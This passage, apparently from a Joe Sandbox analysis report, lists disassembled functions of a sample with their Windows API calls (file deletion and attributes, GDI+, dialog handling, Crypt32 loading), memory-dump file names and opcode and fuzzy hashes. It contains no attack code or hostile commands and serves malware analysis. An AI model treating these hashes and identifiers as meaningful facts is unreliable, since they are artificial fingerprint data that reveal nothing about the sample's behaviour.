Part of subcall function 00D2CF32: _wcslen.LIBCMT ref: 00D2CF56

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D2B5B5,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B92B

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 0b2c267471bbd2fd0ad899ed3f640a0a2bd56650873ee6d4ec4852f88f467cea
Instruction ID: ef53a2de48e9c129ad6958ed98d189f1cad577573751e190b4fd66afe2eff90f
Opcode Fuzzy Hash: 0b2c267471bbd2fd0ad899ed3f640a0a2bd56650873ee6d4ec4852f88f467cea
Instruction Fuzzy Hash: 1DF0A931105219BBDF115FA0DC00BDA376CFF143DAF048061BA44D62A4DB71DD949A30

Function 00D2B470 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,00000000,?,00D2A438,?,?,?,?,00D2892B,?,?,?,00D5380F,000000FF), ref: 00D2B481

Part of subcall function 00D2CF32: _wcslen.LIBCMT ref: 00D2CF56

DeleteFileW.KERNEL32(?,?,?,00000800,?,00D2A438,?,?,?,?,00D2892B,?,?,?,00D5380F,000000FF), ref: 00D2B4AF

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: f5e8a0558c8f0a8d8673042409eac19f9d476420fee9734d5b54ee236b9a4061
Instruction ID: d339a860b1a168fd09cd0cca3f7a1ae5e097263eca58edb196c3bcf80208c0a5
Opcode Fuzzy Hash: f5e8a0558c8f0a8d8673042409eac19f9d476420fee9734d5b54ee236b9a4061
Instruction Fuzzy Hash: 71E022325003186BEB006B60DC40FDA335CAF1438BF084022BE04C20A1DB60DCC49A30

Function 00D3BD81 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00D5380F,000000FF), ref: 00D3BDB5
CoUninitialize.COMBASE(?,?,?,?,00D5380F,000000FF), ref: 00D3BDBA

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: c9e4f4cabf7ee0bdc0ff14e041e39aa4a0a32b20c6cdb5f5e3dd014d54b152b6
Instruction ID: 1a5f122734175bb8abd7c0a93944fd2c7d0793e653425dfb10a7fee2f83f5024
Opcode Fuzzy Hash: c9e4f4cabf7ee0bdc0ff14e041e39aa4a0a32b20c6cdb5f5e3dd014d54b152b6
Instruction Fuzzy Hash: ADE06572504754EFCB109B4DDC05B09FBA9FB88B24F108266F815D3760CB747801CAB5

Function 00D3F002 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D3F02C

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

SetDlgItemTextW.USER32(00000065,?), ref: 00D3F043

Part of subcall function 00D3C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D3C769
Part of subcall function 00D3C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D3C77A
Part of subcall function 00D3C758: IsDialogMessageW.USER32(000204C8,?), ref: 00D3C78E
Part of subcall function 00D3C758: TranslateMessage.USER32(?), ref: 00D3C79C
Part of subcall function 00D3C758: DispatchMessageW.USER32(?), ref: 00D3C7A6

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 7418e30f63e311e3c7a6b085c868c55a4c1a4b899e83d592b6ba966a4a29b755
Instruction ID: c9d659220c8fc744f518ae231efbc31ec5d08e3e7256e5f403cf9922283a809b
Opcode Fuzzy Hash: 7418e30f63e311e3c7a6b085c868c55a4c1a4b899e83d592b6ba966a4a29b755
Instruction Fuzzy Hash: ACE0227241434C36DF01A764EC0AFAA3AACAB0438DF040461F640E61A2DAB4E6108F72

Function 00D2B4D3 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00D2B4CA,?,00D28042,?), ref: 00D2B4E4

Part of subcall function 00D2CF32: _wcslen.LIBCMT ref: 00D2CF56

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,00D2B4CA,?,00D28042,?), ref: 00D2B510

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: ce511e03bdf6bbbab51d5cff87a4190e0ac4188720f62d4ab567376de6fffa16
Instruction ID: 7f14dff5e2f47889efec83ca134f5264c6b19eb9bec738362a5704d17b59f82c
Opcode Fuzzy Hash: ce511e03bdf6bbbab51d5cff87a4190e0ac4188720f62d4ab567376de6fffa16
Instruction Fuzzy Hash: 7EE092315103686BCB20AB68EC05BDA7758EB593FAF040161FE55E72D5D770AD808AF0

Function 00D31B3B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D31B56
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D3063A,Crypt32.dll,00000000,00D306B4,00000200,?,00D30697,00000000,00000000,?), ref: 00D31B78

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: cd0895c79cfc48c1a2089031a7b98999d778f229b6a4449ed4e5a8cd3bb480ce
Instruction ID: 2f03c1c937c8168a8f9fa4f91e8f2b87b0d65b79484297f06d1e64283e42b7e4
Opcode Fuzzy Hash: cd0895c79cfc48c1a2089031a7b98999d778f229b6a4449ed4e5a8cd3bb480ce
Instruction Fuzzy Hash: C0E04F76901328ABDB11ABA5DC08FDA77ACEF093C6F040065BA49D2148DA74DA84CBB0

Function 00D3B3C8 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D3B3E9
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00D3B3F0

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 634aa3d41f52bbd561e4d860cdfd51f61eb13ea46f1315f828f0ef2a14ce3648
Instruction ID: 720475137f4f12d0c06db34fa5c3505b26e9885df8d90bb25d19f05f0c678bcc
Opcode Fuzzy Hash: 634aa3d41f52bbd561e4d860cdfd51f61eb13ea46f1315f828f0ef2a14ce3648
Instruction Fuzzy Hash: 05E0ED71900218EBCB10DF99D545799BBE8EF08361F20806AE99593700D374AE489BB1

Function 00D43D1C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D43D3A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00D43D45

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 3825a598d5a4de5a86f04fa1232deb8970219f5143aa709af4e44c418be6b86b
Instruction ID: c211c69abb56c46899043c7e933a2c88a0565354e21d77cc5d27a9f7f38d7346
Opcode Fuzzy Hash: 3825a598d5a4de5a86f04fa1232deb8970219f5143aa709af4e44c418be6b86b
Instruction Fuzzy Hash: 32D02235C08B021B9C0C32BC2C0359B1344EA21B707B01746F030EA1C1EF14C64C6131

Function 00D212D1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00D212E6
ShowWindow.USER32(00000000), ref: 00D212ED

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: d47abe1c22b854559d83a8ad17ab31f9e5a4255d5ac4352b79c336f2ce300f86
Instruction ID: bb382458ab698cc30b161a352afcd8b8afdf34261c20939e6545754404a46d0f
Opcode Fuzzy Hash: d47abe1c22b854559d83a8ad17ab31f9e5a4255d5ac4352b79c336f2ce300f86
Instruction Fuzzy Hash: E2C01276068B01BECB010BB0EC0DE2ABBA8EBA4212F10CA08F0A6C1168C239C010DB21

Function 00D21AD3 Relevance: 1.8, APIs: 1, Instructions: 319COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D21AD8

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6d52b22d64eca1333077e2c09eb429427e5fdcc120c281077e94bf1be596f5fa
Instruction ID: 10e6c563cbebcfa3498dbeae6975819a74cb76a189018941734a67ee637aed61
Opcode Fuzzy Hash: 6d52b22d64eca1333077e2c09eb429427e5fdcc120c281077e94bf1be596f5fa
Instruction Fuzzy Hash: 2EC1B378A043649BDF25CF2498847AD7BA5AF75318F1C80B9EC059B386CB319A44CB71

Function 00D242F1 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D242F6

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 61d8e37b8cc2d401dc575047a9275b09ec9f31d06c20c097d01ebbe60aa1a01d
Instruction ID: a6caae5e21b14fb5b814ae94d2b51fe676c503d932e20c2010b62488200f5441
Opcode Fuzzy Hash: 61d8e37b8cc2d401dc575047a9275b09ec9f31d06c20c097d01ebbe60aa1a01d
Instruction Fuzzy Hash: 4471D1B1508B959FC721EB34E851AE7B7E8FF25304F08492EA5EB42181DB71B604CB31

Function 00D290A2 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D290A7

Part of subcall function 00D213F8: __EH_prolog.LIBCMT ref: 00D213FD

Part of subcall function 00D22032: __EH_prolog.LIBCMT ref: 00D22037

Part of subcall function 00D2B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D2B991

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: fc6f7dd7cb35e953e2415a9739b3424e08834d1a478e8943356c19037c156bc1
Instruction ID: ff7da5d2dcf6481e4ba7e30b666a36865b4c08e6989821b70e26bb7021aa217f
Opcode Fuzzy Hash: fc6f7dd7cb35e953e2415a9739b3424e08834d1a478e8943356c19037c156bc1
Instruction Fuzzy Hash: 2141A971D042749ADB25DB60D8B5AEAB379EF20348F4400EAF58A67082DB755F88CF30

Function 00D213FD Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D213FD

Part of subcall function 00D26891: __EH_prolog.LIBCMT ref: 00D26896

Part of subcall function 00D2E298: __EH_prolog.LIBCMT ref: 00D2E29D

Part of subcall function 00D2644D: __EH_prolog.LIBCMT ref: 00D26452

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 875440c53f3198e84d5221bf96a1706d0e9e1057c9958cbbc1c48d2ed9d7a4e7
Instruction ID: ae0e59bf02b80245a856dfd65b89ba259e39dca766e0b6c4974031f9b755273d
Opcode Fuzzy Hash: 875440c53f3198e84d5221bf96a1706d0e9e1057c9958cbbc1c48d2ed9d7a4e7
Instruction Fuzzy Hash: DB5125B190A3808ECB14DF2994802D9BBE5AF69304F0842BEEC5DCF69BD7755614CB72

Function 00D213F8 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D213FD

Part of subcall function 00D26891: __EH_prolog.LIBCMT ref: 00D26896

Part of subcall function 00D2E298: __EH_prolog.LIBCMT ref: 00D2E29D

Part of subcall function 00D2644D: __EH_prolog.LIBCMT ref: 00D26452

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a72d7241536956639de273b897da5b78f387a5780938c9fb256e24691f20bc63
Instruction ID: 89268d0c54019a4d4aa3bd9ea86de4c33577fc68a08ed348adf4b56a5fd3d814
Opcode Fuzzy Hash: a72d7241536956639de273b897da5b78f387a5780938c9fb256e24691f20bc63
Instruction Fuzzy Hash: FF5143B190A3808ECB14DF6894802D9BBE1AF29304F0802BEEC5DCF68BD7754214CB72

Function 00D347AD Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D347B2

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: aa214cb0eafa78524847bba6f447c4dd8455a517794f5be0de457c6e71e1603e
Instruction ID: 415cc9869750809688ed626722c34b1c5420496d3fca484d7d0685ce442083ad
Opcode Fuzzy Hash: aa214cb0eafa78524847bba6f447c4dd8455a517794f5be0de457c6e71e1603e
Instruction Fuzzy Hash: D32107B2E41711AFDB14DF74CC4166B7AA8FF04314F04013AE605EB681E374AD00C6B8

Function 00D3C217 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D3C21C

Part of subcall function 00D213F8: __EH_prolog.LIBCMT ref: 00D213FD

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 43957608f8bac81f347b347ca02f571313ec37e718d16030d0c7370cbd0c3861
Instruction ID: 717e00d30c0f4d8187166f2271abf1018cffcee2a2ffb0a034788d8f752e3cf8
Opcode Fuzzy Hash: 43957608f8bac81f347b347ca02f571313ec37e718d16030d0c7370cbd0c3861
Instruction Fuzzy Hash: 9821AE75C04229AFCF15DF94D841AEEB7B4FF14304F0440AAE805B7201D7756A45EB70

Function 00D4BE58 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00D4BEB8

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 891f940218829ec52d42be67e2e6cdc7f86e6c5f6491809c2982898f2c91c94c
